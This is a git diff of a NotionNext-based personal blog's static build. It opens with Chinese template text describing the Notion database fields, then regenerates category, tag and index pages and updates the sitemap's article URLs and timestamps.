    password
    文章加锁
    需要输入密码才允许访问
     
    示例文章多模态视频大模型Aria在Docker部署

    模板说明

    type
    status
    date
    slug
    summary
    tags
    category
    icon
    password

    如何使用Notion编写文章

    请访问教程获取帮助

    模板使用说明

    NotionNext项目必须绑定一个Notion数据库才能使用。请访问教程获取帮助

    Notion模板字段说明

    Notion数据库中,每条数据都将有以下属性🤔:
    属性
    必填
    说明
    备注
    title
    文章标题
    status
    发布状态
    (仅当状态为Published 时会被 展示)
    type
    页面类型 (博文Post / 单页(Page)
    单页不会在博文列表显示 。
    summary
    内容摘要
    搜索和简略显示会用到
    date
    发布日期
    在V3.3.9之前的版本此项为必填。
    category
    文章分类
    可以自定义
    tags
    文章标签
    可多个,建议不要太多
    slug
    文章短路径
    (每篇文章唯一,请勿 重复)
    icon
    菜单栏图标(仅当Page/Menu类型有效)
    可以参考:图标库地址
    password
    文章加锁
    需要输入密码才允许访问
     
    示例文章地瓜RDK X5上手ollama大模型测试
    \ No newline at end of file +
    \ No newline at end of file diff --git a/category.html b/category.html index 0b16ff94a..12642eb6d 100644 --- a/category.html +++ b/category.html @@ -1,8 +1,8 @@ -Category | Both Savage
    Category:
    知行合一(1)
    技术分享(16)
    心情随笔(1)
    万里长征(5)
    Category:
    知行合一(1)
    技术分享(16)
    心情随笔(1)
    万里长征(5)
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/category/\344\270\207\351\207\214\351\225\277\345\276\201.html" "b/category/\344\270\207\351\207\214\351\225\277\345\276\201.html" index 01b3b8c14..a01f218f5 100644 --- "a/category/\344\270\207\351\207\214\351\225\277\345\276\201.html" +++ "b/category/\344\270\207\351\207\214\351\225\277\345\276\201.html" @@ -1,8 +1,8 @@ -万里长征 | Category | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/category/\345\277\203\346\203\205\351\232\217\347\254\224.html" "b/category/\345\277\203\346\203\205\351\232\217\347\254\224.html" index 27a423269..cd26773c6 100644 --- "a/category/\345\277\203\346\203\205\351\232\217\347\254\224.html" +++ "b/category/\345\277\203\346\203\205\351\232\217\347\254\224.html" @@ -1,8 +1,8 @@ -心情随笔 | Category | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/category/\346\212\200\346\234\257\345\210\206\344\272\253.html" "b/category/\346\212\200\346\234\257\345\210\206\344\272\253.html" index 91408c3aa..690b2f4d8 100644 --- "a/category/\346\212\200\346\234\257\345\210\206\344\272\253.html" +++ "b/category/\346\212\200\346\234\257\345\210\206\344\272\253.html" @@ -1,8 +1,8 @@ -技术分享 | Category | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/1.html" "b/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/1.html" index 7466a8a6e..31360539f 100644 --- "a/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/1.html" +++ "b/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/1.html" @@ -1,8 +1,8 @@ -技术分享 | Category | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/2.html" "b/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/2.html" index 51deeedf9..e15983c36 100644 --- "a/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/2.html" +++ "b/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/2.html" @@ -1,8 +1,8 @@ -技术分享 | Category | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/category/\347\237\245\350\241\214\345\220\210\344\270\200.html" "b/category/\347\237\245\350\241\214\345\220\210\344\270\200.html" index 855f92672..6477ce28d 100644 --- "a/category/\347\237\245\350\241\214\345\220\210\344\270\200.html" +++ "b/category/\347\237\245\350\241\214\345\220\210\344\270\200.html" @@ -1,8 +1,8 @@ -知行合一 | Category | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/index.html b/index.html index 593140e35..fa9e497b5 100644 --- a/index.html +++ b/index.html @@ -1,8 +1,8 @@ -Both Savage | talk is cheap
    \ No newline at end of file +
    \ No newline at end of file diff --git a/page/2.html b/page/2.html index e3f8ad6ed..14610eef0 100644 --- a/page/2.html +++ b/page/2.html @@ -1,8 +1,8 @@ -2 | Page | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/search.html b/search.html index fa450b1eb..3c3a328c6 100644 --- a/search.html +++ b/search.html @@ -1,8 +1,8 @@ -Search | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/search/NotionNext BLOG.html b/search/NotionNext BLOG.html index a854e2cdb..410924200 100644 --- a/search/NotionNext BLOG.html +++ b/search/NotionNext BLOG.html @@ -1,8 +1,8 @@ -NotionNext BLOG | Search | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/search/NotionNext BLOG/page/1.html b/search/NotionNext BLOG/page/1.html index 9902ec331..59ccca344 100644 --- a/search/NotionNext BLOG/page/1.html +++ b/search/NotionNext BLOG/page/1.html @@ -1,8 +1,8 @@ -NotionNext BLOG | Search | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml index f19990403..fe8932e43 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -1,73 +1,74 @@ -https://github.com/BOTHSAVAGEdaily0.72024-12-05T07:45:21.415Z -https://github.com/BOTHSAVAGE/archivedaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/categorydaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/searchdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/sitemap.xmldaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tagdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/search/NotionNext BLOG/page/1daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/page/2daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/category/知行合一daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/category/技术分享daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/category/心情随笔daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/category/万里长征daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/search/NotionNext BLOGdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/guidedaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240322-angrydaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/241205-ariadaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/241110-tos-plugindaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240810-minicpm2.6daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240806-lavisdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240725-aidaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240626-demodaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240625-higressdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240525-LM-04daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240429-LM-foxdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240429-prometheusdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240425-nginxdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240408-LM-02daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240405-LM-01daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240405-LMdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240405-cpudaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240325-ollamadaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240320-arthasdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240319-xmrigdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240124-deploydaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240121-skywakingdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/240119-notiondaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/exampledaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/begindaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/example-2daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/example-3daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/example-4daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/example-5daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/example-6daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/example-7daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/example-8daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/example-9daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/article/example-10daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/category/技术分享/page/1daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/category/技术分享/page/2daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/推荐/page/1daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/推荐/page/2daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/%23daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/推荐daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/文字daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/工具daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/开发daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/建站daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/dockerdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/自动化daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/折腾daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/gitdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/日志daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/微服务daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/springdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/skywalkingdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/运维daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/linuxdaily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/脚本daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/面试daily0.72024-12-05T07:45:21.417Z -https://github.com/BOTHSAVAGE/tag/godaily0.72024-12-05T07:45:21.417Z +https://github.com/BOTHSAVAGEdaily0.72024-12-06T09:27:26.025Z +https://github.com/BOTHSAVAGE/archivedaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/categorydaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/searchdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/sitemap.xmldaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/tagdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/search/NotionNext BLOG/page/1daily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/search/NotionNext BLOGdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/guidedaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240322-angrydaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/241206-rdkdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/241205-ariadaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/241110-tos-plugindaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240810-minicpm2.6daily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240806-lavisdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240725-aidaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240626-demodaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240625-higressdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240525-LM-04daily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240429-LM-foxdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240429-prometheusdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240425-nginxdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240408-LM-02daily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240405-LM-01daily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240405-LMdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240405-cpudaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240325-ollamadaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240320-arthasdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240319-xmrigdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240124-deploydaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240121-skywakingdaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/240119-notiondaily0.72024-12-06T09:27:26.027Z +https://github.com/BOTHSAVAGE/article/exampledaily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/article/begindaily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/article/example-2daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/article/example-3daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/article/example-4daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/article/example-5daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/article/example-6daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/article/example-7daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/article/example-8daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/article/example-9daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/article/example-10daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/%23daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/page/2daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/推荐daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/文字daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/工具daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/开发daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/建站daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/dockerdaily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/自动化daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/折腾daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/gitdaily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/日志daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/微服务daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/springdaily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/skywalkingdaily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/运维daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/linuxdaily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/脚本daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/面试daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/godaily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/category/知行合一daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/category/技术分享daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/category/心情随笔daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/category/万里长征daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/推荐/page/1daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/tag/推荐/page/2daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/category/技术分享/page/1daily0.72024-12-06T09:27:26.028Z +https://github.com/BOTHSAVAGE/category/技术分享/page/2daily0.72024-12-06T09:27:26.028Z \ No newline at end of file diff --git a/tag.html b/tag.html index ea0b0a785..943f2ac0f 100644 --- a/tag.html +++ b/tag.html @@ -1,4 +1,4 @@ -Tags | Both Savage
    Tags:
    Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/tag/docker.html b/tag/docker.html index 669d6611c..9dd398c3f 100644 --- a/tag/docker.html +++ b/tag/docker.html @@ -1,8 +1,8 @@ -docker | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/tag/git.html b/tag/git.html index c969c02a1..2b429c790 100644 --- a/tag/git.html +++ b/tag/git.html @@ -1,8 +1,8 @@ -git | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/tag/go.html b/tag/go.html index d322eb41b..6894b0740 100644 --- a/tag/go.html +++ b/tag/go.html @@ -1,8 +1,8 @@ -go | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/tag/linux.html b/tag/linux.html index abe2a2f71..4a2dcfbc6 100644 --- a/tag/linux.html +++ b/tag/linux.html @@ -1,8 +1,8 @@ -linux | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/tag/skywalking.html b/tag/skywalking.html index b8736cf73..e27a39604 100644 --- a/tag/skywalking.html +++ b/tag/skywalking.html @@ -1,8 +1,8 @@ -skywalking | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git a/tag/spring.html b/tag/spring.html index e2b88898d..27141cb4a 100644 --- a/tag/spring.html +++ b/tag/spring.html @@ -1,8 +1,8 @@ -spring | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\345\267\245\345\205\267.html" "b/tag/\345\267\245\345\205\267.html" index 00c446d6d..52e673799 100644 --- "a/tag/\345\267\245\345\205\267.html" +++ "b/tag/\345\267\245\345\205\267.html" @@ -1,8 +1,8 @@ -工具 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\345\273\272\347\253\231.html" "b/tag/\345\273\272\347\253\231.html" index 6e64f5d05..574f86ed9 100644 --- "a/tag/\345\273\272\347\253\231.html" +++ "b/tag/\345\273\272\347\253\231.html" @@ -1,8 +1,8 @@ -建站 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\345\274\200\345\217\221.html" "b/tag/\345\274\200\345\217\221.html" index 1c01539f2..77f0194d1 100644 --- "a/tag/\345\274\200\345\217\221.html" +++ "b/tag/\345\274\200\345\217\221.html" @@ -1,8 +1,8 @@ -开发 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\345\276\256\346\234\215\345\212\241.html" "b/tag/\345\276\256\346\234\215\345\212\241.html" index 1ea19d79e..ca0dbcf5c 100644 --- "a/tag/\345\276\256\346\234\215\345\212\241.html" +++ "b/tag/\345\276\256\346\234\215\345\212\241.html" @@ -1,8 +1,8 @@ -微服务 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\346\212\230\350\205\276.html" "b/tag/\346\212\230\350\205\276.html" index 0b2b8d83f..27c40cc48 100644 --- "a/tag/\346\212\230\350\205\276.html" +++ "b/tag/\346\212\230\350\205\276.html" @@ -1,8 +1,8 @@ -折腾 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\346\216\250\350\215\220.html" "b/tag/\346\216\250\350\215\220.html" index 60f73cddc..5177f430b 100644 --- "a/tag/\346\216\250\350\215\220.html" +++ "b/tag/\346\216\250\350\215\220.html" @@ -1,8 +1,8 @@ -推荐 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\346\216\250\350\215\220/page/1.html" "b/tag/\346\216\250\350\215\220/page/1.html" index 7ec7e063b..8fb03afdf 100644 --- "a/tag/\346\216\250\350\215\220/page/1.html" +++ "b/tag/\346\216\250\350\215\220/page/1.html" @@ -1,8 +1,8 @@ -推荐 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\346\216\250\350\215\220/page/2.html" "b/tag/\346\216\250\350\215\220/page/2.html" index 7df5c498d..d961ee4f2 100644 --- "a/tag/\346\216\250\350\215\220/page/2.html" +++ "b/tag/\346\216\250\350\215\220/page/2.html" @@ -1,8 +1,8 @@ -推荐 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\346\226\207\345\255\227.html" "b/tag/\346\226\207\345\255\227.html" index 824bee67b..8b8e99944 100644 --- "a/tag/\346\226\207\345\255\227.html" +++ "b/tag/\346\226\207\345\255\227.html" @@ -1,8 +1,8 @@ -文字 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\346\227\245\345\277\227.html" "b/tag/\346\227\245\345\277\227.html" index e58f64ddc..01920c1c0 100644 --- "a/tag/\346\227\245\345\277\227.html" +++ "b/tag/\346\227\245\345\277\227.html" @@ -1,8 +1,8 @@ -日志 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\350\204\232\346\234\254.html" "b/tag/\350\204\232\346\234\254.html" index e0cdd487d..0936f5e84 100644 --- "a/tag/\350\204\232\346\234\254.html" +++ "b/tag/\350\204\232\346\234\254.html" @@ -1,8 +1,8 @@ -脚本 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\350\207\252\345\212\250\345\214\226.html" "b/tag/\350\207\252\345\212\250\345\214\226.html" index 1463b99d7..776b2cd7c 100644 --- "a/tag/\350\207\252\345\212\250\345\214\226.html" +++ "b/tag/\350\207\252\345\212\250\345\214\226.html" @@ -1,8 +1,8 @@ -自动化 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\350\277\220\347\273\264.html" "b/tag/\350\277\220\347\273\264.html" index 13efff8ce..09cac3ec4 100644 --- "a/tag/\350\277\220\347\273\264.html" +++ "b/tag/\350\277\220\347\273\264.html" @@ -1,8 +1,8 @@ -运维 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file diff --git "a/tag/\351\235\242\350\257\225.html" "b/tag/\351\235\242\350\257\225.html" index e59d32724..e0887e11e 100644 --- "a/tag/\351\235\242\350\257\225.html" +++ "b/tag/\351\235\242\350\257\225.html" @@ -1,8 +1,8 @@ -面试 | Tags | Both Savage
    \ No newline at end of file +
    \ No newline at end of file